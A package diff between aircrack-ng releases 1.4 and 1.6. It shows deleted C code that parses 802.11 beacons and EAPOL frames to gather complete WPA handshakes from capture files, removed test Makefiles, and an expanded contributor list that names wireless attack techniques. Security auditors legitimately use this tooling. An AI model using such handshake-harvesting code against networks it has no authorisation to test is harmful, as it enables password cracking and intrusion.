-		if (memcmp(c->c_mac, mac, sizeof(c->c_mac)) == 0) return c;
-
-		c = c->c_next;
-	}
-
-	return NULL;
-}
-
-static struct client * find_add_client(struct network * n,
-									   const unsigned char * mac)
-{
-	struct client * c;
-
-	c = find_client(n, mac);
-	if (c) return c;
-
-	c = malloc(sizeof(*c));
-	if (!c) err(1, "malloc()");
-
-	memset(c, 0, sizeof(*c));
-
-	memcpy(c->c_mac, mac, sizeof(c->c_mac));
-
-	c->c_next = n->n_clients.c_next;
-	n->n_clients.c_next = c;
-
-	return c;
-}
-
-static int parse_rsn(const unsigned char * p, const int l, const int rsn)
-{
-	int c;
-	const unsigned char * start = p;
-	int psk = 0;
-	int wpa = 0;
-
-	if (l < 2) return 0;
-
-	if (memcmp(p, "\x01\x00", 2) != 0) return 0;
-
-	wpa = 1;
-
-	if (l < 8) return -1;
-
-	p += 2;
-	p += 4;
-
-	/* cipher */
-	c = le16toh(*((uint16_t *) p));
-
-	p += 2 + 4 * c;
-
-	if (l < ((p - start) + 2)) return -1;
-
-	/* auth */
-	c = le16toh(*((uint16_t *) p));
-	p += 2;
-
-	if (l < ((p - start) + c * 4)) return -1;
-
-	while (c--)
-	{
-		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
-
-		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
-
-		p += 4;
-	}
-
-	assert(l >= (p - start));
-
-	if (!psk) wpa = 0;
-
-	return wpa;
-}
-
-static int parse_elem_vendor(const unsigned char * e, const int l)
-{
-	const struct ieee80211_ie_wpa * wpa = (const struct ieee80211_ie_wpa *) e;
-
-	if (l < 5) return 0;
-
-	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return 0;
-
-	if (l < 8) return 0;
-
-	if (wpa->wpa_type != WPA_OUI_TYPE) return 0;
-
-	return parse_rsn((unsigned char *) &wpa->wpa_version, l - 6, 0);
-}
-
-static void process_beacon(struct ieee80211_frame * wh, int totlen)
-{
-	unsigned char * p = (unsigned char *) (wh + 1);
-	int bhlen = 8 + 2 + 2;
-	int len = totlen;
-	char ssid[256];
-	int wpa = 0;
-	int rc;
-	int ssids = 0;
-	int hidden = 0;
-	struct network * n;
-
-	totlen -= sizeof(*wh);
-
-	if (totlen < bhlen) goto __bad;
-
-	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
-
-	p += bhlen;
-	totlen -= bhlen;
-
-	ssid[0] = 0;
-
-	while (totlen > 2)
-	{
-		int id = *p++;
-		int l = *p++;
-
-		totlen -= 2;
-
-		if (totlen < l) goto __bad;
-
-		switch (id)
-		{
-			case IEEE80211_ELEMID_SSID:
-				if (++ssids > 1) break;
-
-				if (l == 0 || p[0] == 0)
-					hidden = 1;
-				else
-				{
-					memcpy(ssid, p, l);
-					ssid[l] = 0;
-				}
-				break;
-
-			case IEEE80211_ELEMID_VENDOR:
-				if ((rc = parse_elem_vendor(&p[-2], l + 2)) == -1) goto __bad;
-
-				if (rc) wpa = 1;
-				break;
-
-			case IEEE80211_ELEMID_RSN:
-				if ((rc = parse_rsn(p, l, 1)) == -1) goto __bad;
-
-				if (rc) wpa = 1;
-				break;
-		}
-
-		p += l;
-		totlen -= l;
-	}
-
-	if (!wpa) return;
-#if 0
-	if (hidden) {
-		printf("Hidden SSID\n");
-		return;
-	}
-#endif
-	n = find_add_net(wh->i_addr3);
-
-	if (n->n_beaconlen) return;
-
-	n->n_beaconlen = len;
-	assert(n->n_beaconlen <= (int) sizeof(n->n_beacon));
-	memcpy(n->n_beacon, wh, n->n_beaconlen);
-	strncpy(n->n_ssid, ssid, sizeof(n->n_ssid));
-	(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
-
-#if 0
-	printf("got beacon [%s]\n", n->n_ssid);
-#endif
-
-	check_network(n);
-	return;
-__bad:
-	printf("bad beacon\n");
-}
-
-static int eapol_handshake_step(const unsigned char * eapol, const int len)
-{
-	int eapol_size = 4 + 1 + 2 + 2 + 8 + 32 + 16 + 8 + 8 + 16 + 2;
-
-	if (len < eapol_size) return 0;
-
-	/* not pairwise */
-	if ((eapol[6] & 0x08) == 0) return 0;
-
-	/* 1: has no mic */
-	if ((eapol[5] & 1) == 0) return 1;
-
-	/* 3: has ack */
-	if ((eapol[6] & 0x80) != 0) return 3;
-
-	if (*((uint16_t *) &eapol[eapol_size - 2]) == 0) return 4;
-
-	return 2;
-}
-
-static void packet_copy(struct packet * p, const void * d, const int len)
-{
-	assert(len <= (int) sizeof(p->p_data));
-
-	p->p_len = len;
-	memcpy(p->p_data, d, len);
-}
-
-static void process_eapol(struct network * n,
-						  struct client * c,
-						  const unsigned char * p,
-						  const int len,
-						  struct ieee80211_frame * wh,
-						  const int totlen)
-{
-	int num, i;
-
-	num = eapol_handshake_step(p, len);
-	if (num == 0) return;
-
-	/* reset... should use time, too.  XXX conservative - check retry */
-	if (c->c_wpa == 0 || num <= c->c_wpa)
-	{
-		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
-
-		c->c_wpa_got = 0;
-	}
-
-	c->c_wpa = num;
-
-	switch (num)
-	{
-		case 1:
-			c->c_wpa_got |= 1;
-			break;
-
-		case 2:
-			c->c_wpa_got |= 2;
-			c->c_wpa_got |= 4;
-			break;
-
-		case 3:
-			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
-
-			c->c_wpa_got |= 4;
-			break;
-
-		case 4:
-			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
-
-			c->c_wpa_got |= 4;
-			break;
-
-		default:
-			abort();
-	}
-
-	packet_copy(&c->c_handshake[num - 1], wh, totlen);
-
-	if (c->c_wpa_got == 7) n->n_handshake = c;
-}
-
-static void process_data(struct ieee80211_frame * wh, int len)
-{
-	unsigned char * p = (unsigned char *) (wh + 1);
-	struct llc * llc;
-	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
-	int eapol = 0;
-	struct client * c;
-	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
-	int orig = len;
-	unsigned char *bssid, *clientaddr;
-	struct network * n;
-
-	len -= sizeof(*wh);
-
-	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
-	{
-		p += 2;
-		len -= 2;
-	}
-
-	if (!wep && len >= 8)
-	{
-		llc = (struct llc *) p;
-
-		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
-
-		p += 8;
-		len -= 8;
-	}
-
-	if (!eapol) return;
-
-	if (len < 5) return;
-
-	/* type == key */
-	if (p[1] != 0x03) return;
-
-	/* desc == WPA or RSN */
-	if (p[4] != 0xFE && p[4] != 0x02) return;
-
-	bssid = wh->i_addr1;
-	clientaddr = wh->i_addr2;
-
-	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-	{
-		bssid = wh->i_addr2;
-		clientaddr = wh->i_addr1;
-	}
-	else if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_TODS))
-		bssid = wh->i_addr3; /* IBSS */
-
-	n = find_add_net(bssid);
-
-	if (n->n_handshake) return;
-
-	c = find_add_client(n, clientaddr);
-
-	process_eapol(n, c, p, len, wh, orig);
-
-	if (n->n_handshake) check_network(n);
-}
-
-static void grab_hidden_ssid(const unsigned char * bssid,
-							 struct ieee80211_frame * wh,
-							 int len,
-							 const int off)
-{
-	struct network * n;
-	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
-	int l;
-
-	n = find_net(bssid);
-	if (n && n->n_ssid[0]) return;
-
-	len -= sizeof(*wh) + off + 2;
-
-	if (len < 0) goto __bad;
-
-	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
-
-	l = *p++;
-	if (l > len) goto __bad;
-
-	if (l == 0) return;
-
-	if (!n) n = net_add(bssid);
-
-	memcpy(n->n_ssid, p, l);
-	n->n_ssid[l] = 0;
-
-	check_network(n);
-	return;
-
-__bad:
-	printf("bad grab_hidden_ssid\n");
-	return;
-}
-
-static void process_packet(void * packet, const int len)
-{
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) packet;
-
-#if 0
-	printf("GOT %d\n", len);
-	hexdump(packet, len);
-#endif
-
-	if (len < (int) sizeof(*wh)) return;
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
-	{
-		case IEEE80211_FC0_TYPE_MGT:
-			switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
-			{
-				case IEEE80211_FC0_SUBTYPE_BEACON:
-					process_beacon(wh, len);
-					break;
-
-				case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-					grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2);
-					break;
-
-				case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
-					grab_hidden_ssid(wh->i_addr3, wh, len, 2 + 2 + 6);
-					break;
-
-				case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-					grab_hidden_ssid(wh->i_addr3, wh, len, 8 + 2 + 2);
-					break;
-			}
-			break;
-
-		case IEEE80211_FC0_TYPE_DATA:
-			process_data(wh, len);
-			break;
-	}
-}
-
-static void pwn(const char * fname)
-{
-	struct wif * wi;
-	char crap[2048];
-	int rc;
-
-	if (strlen(fname) + 7 >= sizeof(crap))
-	{
-		printf("Filename too long, aborting\n");
-		return;
-	}
-
-	memset(crap, 0, sizeof(crap));
-	snprintf(crap, sizeof(crap), "file://%s", fname);
-
-	wi = wi_open(crap);
-	if (!wi)
-	{
-		printf("Bad file - skipping %s\n", fname);
-		return;
-	}
-
-	while ((rc = wi_read(wi, (unsigned char *) crap, sizeof(crap), NULL)) > 0)
-		process_packet(crap, rc);
-
-	wi_close(wi);
-}
-
-static void free_data(void)
-{
-	struct network * nets = _networks.n_next;
-	while (nets)
-	{
-		// Free clients
-		struct client * clients = nets->n_handshake;
-		while (clients)
-		{
-			struct client * client_prev = clients;
-			clients = clients->c_next;
-			free(client_prev);
-		}
-
-		// Free net
-		struct network * net_prev = nets;
-		nets = nets->n_next;
-		free(net_prev);
-	}
-
-	free(_outfilename);
-}
-
-int main(int argc, char * argv[])
-{
-	if (argc < 3)
-	{
-		printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]);
-		exit(1);
-	}
-
-	_outfilename = strdup(argv[1]);
-	if (_outfilename == NULL)
-	{
-		perror("strdup()");
-		return EXIT_FAILURE;
-	}
-
-	for (int i = 2; i < argc; i++)
-	{
-		const char * in = argv[i];
-		int prog = (int) (((double) (i - 1)) / ((double) (argc - 2))
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						  * (0.0f + 100));
-#else
-						  * 100.0);
-#endif
-
-		printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog);
-		fflush(stdout);
-
-		pwn(in);
-	}
-
-	// Cleanup
-	free_data();
-
-	printf("Done\n");
-	exit(0);
-}

aircrack-ng-1.4.tar.gz/test/Makefile.am Deleted

@@ -1,157 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-if CMOCKA
-SUBDIRS = cryptounittest unit
-endif
-if !CMOCKA
-SUBDIRS = cryptounittest
-endif
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(CRYPTO_INCLUDES)
-
-AM_TESTS_ENVIRONMENT = \
-	. $(builddir)/test-env.sh; \
-	if test -d /usr/xpg4/bin; then \
-	  PATH=/usr/xpg4/bin:$$PATH; export PATH; \
-	fi;
-
-TESTS_ENVIRONMENT ?= $(AM_TESTS_ENVIRONMENT)
-
-LIBAC	= ../src/libaclib.la
-LIBAC_LIBS = -L../src -laclib
-
-LIBAIRCRACK_UTIL	= ../src/aircrack-util/libaircrack-util.la
-LIBAIRCRACK_UTIL_LIBS = -L../src/aircrack-util -laircrack-util
-
-test_hex_string_to_array_SOURCES = test-hex_string_to_array.c
-test_hex_string_to_array_LDADD = $(LIBAC_LIBS) $(LIBAIRCRACK_UTIL_LIBS)
-
-check_PROGRAMS = test-hex_string_to_array
-
-TESTS = test-hex_string_to_array.sh \
-		test-aircrack-ng-0001.sh \
-		test-aircrack-ng-0002.sh \
-		test-aircrack-ng-0003.sh \
-		test-aircrack-ng-0004.sh \
-		test-aircrack-ng-0005.sh \
-		test-aircrack-ng-0006.sh \
-		test-aircrack-ng-0007.sh \
-		test-aircrack-ng-0008.sh \
-		test-aircrack-ng-0009.sh \
-		test-aircrack-ng-0010.sh \
-		test-aircrack-ng-0011.sh \
-		test-aircrack-ng-0012.sh \
-		test-aircrack-ng-0013.sh \
-		test-aircrack-ng-0014.sh \
-		test-aircrack-ng-0015.sh \
-		test-aircrack-ng-0016.sh \
-		test-aircrack-ng-0017.sh \
-		test-airdecap-ng-0001.sh \
-		test-airdecap-ng-0002.sh \
-		test-airdecap-ng-0003.sh \
-		test-airdecap-ng-0004.sh \
-		test-wpaclean-0001.sh \
-		test-wpaclean-0002.sh
-
-if HAVE_SQLITE3
-TESTS += test-airolib-ng-0001.sh
-endif
-
-EXTRA_DIST = test-hex_string_to_array.sh \
-			 test-aircrack-ng-0001.sh \
-			 test-aircrack-ng-0002.sh \
-			 test-aircrack-ng-0003.sh \
-			 test-aircrack-ng-0004.sh \
-			 test-aircrack-ng-0005.sh \
-			 test-aircrack-ng-0006.sh \
-			 test-aircrack-ng-0007.sh \
-			 test-aircrack-ng-0008.sh \
-			 test-aircrack-ng-0009.sh \
-			 test-aircrack-ng-0010.sh \
-			 test-aircrack-ng-0011.sh \
-			 test-aircrack-ng-0012.sh \
-			 test-aircrack-ng-0013.sh \
-			 test-aircrack-ng-0014.sh \
-			 test-aircrack-ng-0015.sh \
-			 test-aircrack-ng-0016.sh \
-			 test-aircrack-ng-0017.sh \
-			 test-airdecap-ng-0001.sh \
-			 test-airdecap-ng-0002.sh \
-			 test-airdecap-ng-0003.sh \
-			 test-airdecap-ng-0004.sh \
-			 test-wpaclean-0001.sh \
-			 test-wpaclean-0002.sh \
-			 wpaclean_crash.pcap \
-             wep.open.system.authentication.cap \
-             wpa2-psk-linksys.cap \
-             test-hex_string_to_array.c \
-             wpa.cap \
-             test.ivs \
-             StayAlfred.hccapx \
-             test1.pcap \
-             test-pmkid.pcap \
-             wpa-psk-linksys.cap \
-             wpa2.eapol.cap \
-             wps2.0.pcap \
-             verify_inject.py \
-             replay.py \
-             password.lst \
-             password-2.lst \
-             password-3.lst \
-             n-02.cap \
-             wep.shared.key.authentication.cap \
-             wep_64_ptw.cap \
-             pingreply.c \
-             Chinese-SSID-Name.pcap \
-             passphrases.db \
-			 test-airdecap-ng.sh \
-			 test-airolib-sqlite.sh
-
-if HAVE_SQLITE3
-EXTRA_DIST += test-airolib-ng-0001.sh
-endif
-
-
-@CODE_COVERAGE_RULES@
-
-@VALGRIND_CHECK_RULES@

aircrack-ng-1.4.tar.gz/test/cryptounittest/Makefile.am Deleted

@@ -1,138 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(CRYPTO_INCLUDES)
-
-LIBAC	= ../../src/libaclib.la
-LIBAC_LIBS = -L../../src -laclib
-
-LIBAIRCRACK_CRYPTO = ../../src/aircrack-crypto/libaircrack-crypto.la
-LIBAIRCRACK_CRYPTO_LIBS = -L../../src/aircrack-crypto -laircrack-crypto
-
-LIBAIRCRACK_UTIL	= ../../src/aircrack-util/libaircrack-util.la
-LIBAIRCRACK_UTIL_LIBS = -L../../src/aircrack-util -laircrack-util
-
-SRCS_TEST_EWEP  = test-encrypt-wep.c
-SRCS_TEST_CPMK  = test-calc-pmk.c
-SRCS_TEST_CMIC  = test-calc-mic.c
-SRCS_TEST_CPTK  = test-calc-ptk.c
-SRCS_TEST_DCMP  = test-decrypt-ccmp.c
-SRCS_TEST_ECMP  = test-encrypt-ccmp.c
-
-test_encrypt_wep_SOURCES = $(SRCS_TEST_EWEP)
-test_encrypt_wep_CFLAGS  = $(AM_CPPFLAGS) \
-						   $(PTHREAD_CFLAGS) \
-						   $(CRYPTO_CFLAGS)
-test_encrypt_wep_LDADD   = $(LIBAC_LIBS) \
-						   $(PTHREAD_LIBS) \
-						   $(CRYPTO_LIBS) \
-						   $(ZLIB_LIBS)
-
-test_calc_pmk_SOURCES = $(SRCS_TEST_CPMK) \
-						$(LIBAIRCRACK_UTIL) \
-						$(LIBAIRCRACK_CRYPTO)
-test_calc_pmk_CFLAGS  = $(AM_CPPFLAGS) \
-						$(PTHREAD_CFLAGS) \
-						$(CRYPTO_CFLAGS)
-test_calc_pmk_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) \
-						$(LIBAIRCRACK_CRYPTO_LIBS) \
-						$(LIBAC_LIBS) \
-						$(PTHREAD_LIBS) \
-						$(CRYPTO_LIBS) \
-						$(ZLIB_LIBS)
-
-test_calc_mic_SOURCES = $(SRCS_TEST_CMIC)
-test_calc_mic_CFLAGS  = $(AM_CPPFLAGS) \
-						$(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS)
-test_calc_mic_LDADD   = $(LIBAC_LIBS) \
-						$(PTHREAD_LIBS) \
-						$(CRYPTO_LIBS) \
-						$(ZLIB_LIBS)
-
-test_calc_ptk_SOURCES = $(SRCS_TEST_CPTK)
-test_calc_ptk_CFLAGS  = $(AM_CPPFLAGS) \
-						$(PTHREAD_CFLAGS) \
-						$(CRYPTO_CFLAGS)
-test_calc_ptk_LDADD   = $(LIBAC_LIBS) \
-						$(PTHREAD_LIBS) \
-						$(CRYPTO_LIBS) \
-						$(ZLIB_LIBS)
-
-test_encrypt_ccmp_SOURCES = $(SRCS_TEST_ECMP)
-test_encrypt_ccmp_CFLAGS  = $(AM_CPPFLAGS) \
-							$(PTHREAD_CFLAGS) \
-							$(CRYPTO_CFLAGS)
-test_encrypt_ccmp_LDADD   = $(LIBAC_LIBS) \
-							$(PTHREAD_LIBS) \
-							$(CRYPTO_LIBS) \
-							$(ZLIB_LIBS)
-
-test_decrypt_ccmp_SOURCES = $(SRCS_TEST_DCMP)
-test_decrypt_ccmp_CFLAGS  = $(AM_CPPFLAGS) \
-							$(PTHREAD_CFLAGS) \
-							$(CRYPTO_CFLAGS)
-test_decrypt_ccmp_LDADD   = $(LIBAC_LIBS) \
-							$(PTHREAD_LIBS) \
-							$(CRYPTO_LIBS) \
-							$(ZLIB_LIBS)
-
-
-TESTS           = test-encrypt-wep \
-                  test-calc-pmk \
-                  test-calc-mic \
-                  test-calc-ptk \
-                  test-encrypt-ccmp \
-                  test-decrypt-ccmp
-
-check_PROGRAMS	= test-encrypt-wep \
-                  test-calc-pmk \
-                  test-calc-mic \
-                  test-calc-ptk \
-                  test-encrypt-ccmp \
-                  test-decrypt-ccmp
-
-EXTRA_DIST = tests.h
-
-
-@CODE_COVERAGE_RULES@
-
-@VALGRIND_CHECK_RULES@

aircrack-ng-1.4.tar.gz/test/unit/Makefile.am Deleted

@@ -1,123 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2018 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(CRYPTO_INCLUDES)
-
-AM_TESTS_ENVIRONMENT= \
-	TEST_SRCDIR="$(abs_srcdir)" 		\
-	TEST_BUILDDIR="$(abs_builddir)" 	\
-	CMOCKA_MESSAGE_OUTPUT=TAP
-
-LIBAIRCRACK_CRYPTO_PATH = $(abs_top_builddir)/src/aircrack-crypto/
-
-LIBAC	= ../../src/libaclib.la
-LIBAC_LIBS = -L../../src -laclib
-
-LIBAIRCRACK_CRYPTO = ../../src/aircrack-crypto/libaircrack-crypto.la
-LIBAIRCRACK_CRYPTO_LIBS = -L../../src/aircrack-crypto -laircrack-crypto
-
-LIBAIRCRACK_UTIL	= ../../src/aircrack-util/libaircrack-util.la
-LIBAIRCRACK_UTIL_LIBS = -L../../src/aircrack-util -laircrack-util
-
-COMMON_CFLAGS = $(PTHREAD_CFLAGS) \
-				$(CRYPTO_CFLAGS) \
-				$(ZLIB_CFLAGS) \
-				$(CMOCKA_CFLAGS)
-COMMON_LDADD  = $(PTHREAD_LIBS) \
-			    $(CRYPTO_LIBS) \
-			    $(ZLIB_LIBS) \
-			    $(CMOCKA_LIBS)
-
-test_calc_one_pmk_SOURCES = test-calc-one-pmk.c \
-							$(LIBAIRCRACK_CRYPTO)
-test_calc_one_pmk_CFLAGS  = $(COMMON_CFLAGS)
-test_calc_one_pmk_LDFLAGS = -rdynamic
-test_calc_one_pmk_LDADD   = $(LIBAIRCRACK_CRYPTO_LIBS) \
-						    $(COMMON_LDADD)
-
-test_string_has_suffix_SOURCES = test-string-has-suffix.c \
-								 $(LIBAIRCRACK_UTIL)
-test_string_has_suffix_CFLAGS  = $(COMMON_CFLAGS)
-test_string_has_suffix_LDFLAGS = -rdynamic
-test_string_has_suffix_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) $(COMMON_LDADD)
-
-test_wpapsk_SOURCES = test-wpapsk.c \
-					  $(LIBAIRCRACK_UTIL)
-test_wpapsk_CFLAGS  = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
-					  "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
-					  "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
-					  "-DLIBDIR=\"$(libdir)\"" \
-					  $(COMMON_CFLAGS)
-test_wpapsk_LDFLAGS = -rdynamic
-test_wpapsk_LDADD   = $(LIBAIRCRACK_CRYPTO_LIBS) \
-					  $(LIBAIRCRACK_UTIL_LIBS) \
-					  $(COMMON_LDADD)
-
-test_wpapsk_cmac_SOURCES = test-wpapsk-cmac.c \
-						   $(LIBAIRCRACK_UTIL)
-test_wpapsk_cmac_CFLAGS = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
-						  "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
-						  "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
-						  "-DLIBDIR=\"$(libdir)\"" \
-						  $(COMMON_CFLAGS)
-test_wpapsk_cmac_LDFLAGS = -rdynamic
-test_wpapsk_cmac_LDADD   = $(LIBAIRCRACK_UTIL_LIBS) \
-						   $(COMMON_LDADD)
-
-TESTS = test-calc-one-pmk test-string-has-suffix
-
-if !STATIC_BUILD
-TESTS += test-wpapsk
-TESTS += test-wpapsk-cmac
-endif
-
-check_PROGRAMS = test-calc-one-pmk test-string-has-suffix
-
-if !STATIC_BUILD
-check_PROGRAMS += test-wpapsk
-check_PROGRAMS += test-wpapsk-cmac
-endif
-
-
-@CODE_COVERAGE_RULES@
-
-@VALGRIND_CHECK_RULES@

aircrack-ng-1.4.tar.gz/.editorconfig -> aircrack-ng-1.6.tar.gz/.editorconfig Changed

aircrack-ng-1.4.tar.gz/AUTHORS -> aircrack-ng-1.6.tar.gz/AUTHORS Changed

@@ -1,1 +1,199 @@
-Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
\ No newline at end of file
+Original Author
+===============
+
+Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+
+Contributors
+============
+
+* Zero Chaos
+	- Airmon-ng maintainer
+	- Occational driver patch fixer
+	- Driver tester
+
+* Joseph Benden <joe@aircrack-ng.org>
+
+	- Instituted the project's coding style & formatting guidelines
+	- Performed conversion from Subversion and Trac to GitHub
+	- Continuous Integration: Buildbot system as well as AppVeyor setup and tuning TravisCI
+	- Converted project from Makefiles to an Autotools-based build
+	- Forged the WPA cracking engine; capable of linearly scaling up to at least 96 cores
+	- Dynamically utilize the best SIMD instructions, at run-time, instead of build-time
+	- Improved compilation on non-x86 platforms
+	- Fixed many issues relating to SIMD on non-x86 architectures
+
+* Levert
+
+	- Initial Subversion, trac and buildbot set-up
+
+* Andrea Bittau
+
+	- osdep: OS-dependant capture/injection layer conditionally (OS) compiled
+
+* hirte (Martin Beck) <martin.beck2@gmx.de>
+
+	- Aircrack-ng: implementation of PTW, KoreK attack speedup
+	- Aireplay-ng: Fragmentation attack, Shared Key Authentication attack, 
+		injection test, hirte attack, Caffe Latte, Client Fragmentation,
+		using two wireless interfaces in aireplay-ng (one for capture, one for injection)
+	- Airodump-ng: Screen formatting and layout improvements
+	- ieee80211 and mac80211 driver patches and driver-related changes/fixes in the tools
+	- osdep improvements (mac80211 among other things) and fixes
+	- New tools: airtun-ng, tkiptun-ng, airserv-ng, airdriver-ng, airbase-ng
+	- IVS file format
+	- airmon-ng improvements
+	- Partial handshake cracking and detection
+
+* Carlos Lopez <clopez@igalia.com>
+
+	- Added support for gcrypt instead of openssl
+	- Crypto unit tests and tests for other tools
+	- Manpage reorganization and improvements
+	- Makefile fixes and improvements
+	- Travis CI set-up
+	- Airodump-ng: --manufacturer, --wps options
+
+* DarkAudax
+
+	- Wiki: Documentation and tutorials
+	- Added unit tests
+
+* ASPj (Pedro Larbig)
+
+	- Driver-related fixes
+	- New tools: Airtun-ng
+	- ieee80211 driver patches (ipw3945, rt73, rt2570, prism2)
+	- MDK3
+	- WDS support in different tools
+	- besside-ng-crawler
+
+* Leandro Meiners <lmeiners@coresecurity.com/gmail.com> 
+   and Diego Sor <dsor@coresecurity.com/diegos@gmail.com>
+
+	- WPA Migration mode attack and documentation
+
+* nathanh2011
+
+	- Revamped GPS logging functionality and added logcsv format
+
+* XayOn
+
+	- Airoscript-ng
+	- Airgraph-ng and airdrop-ng improvements
+
+* Daouid
+
+	- Airoscript
+
+* Chris Lundquist
+
+	- Aircrack-ng: Crack HCCAPx files
+	- Aircrack-ng: Improve loading speed of large capture files
+	- Aircrack-ng: Improve processing speed of large capture files
+
+* kimocoder (Christian B.) <kimocoder@aircrack-ng.org>
+
+	- rtl8812au driver
+
+* dzk|kuro <dzk.kuro@gmail.com>
+
+	- Initial capture/injection on BSD
+
+* Erik Tews <e_tews@cdc.informatik.tu-darmstadt.de>
+
+	- Author of PTW attack
+
+* Loris Degioanni
+
+	- Airpcap support
+
+* NetRoller3D
+
+	- mac80211 driver patches and related fixes/improvements in osdep
+	- Airmon-ng fixes
+	- Radiotap support (and PPI detection) in various tools
+	- Airdriver-ng improvements
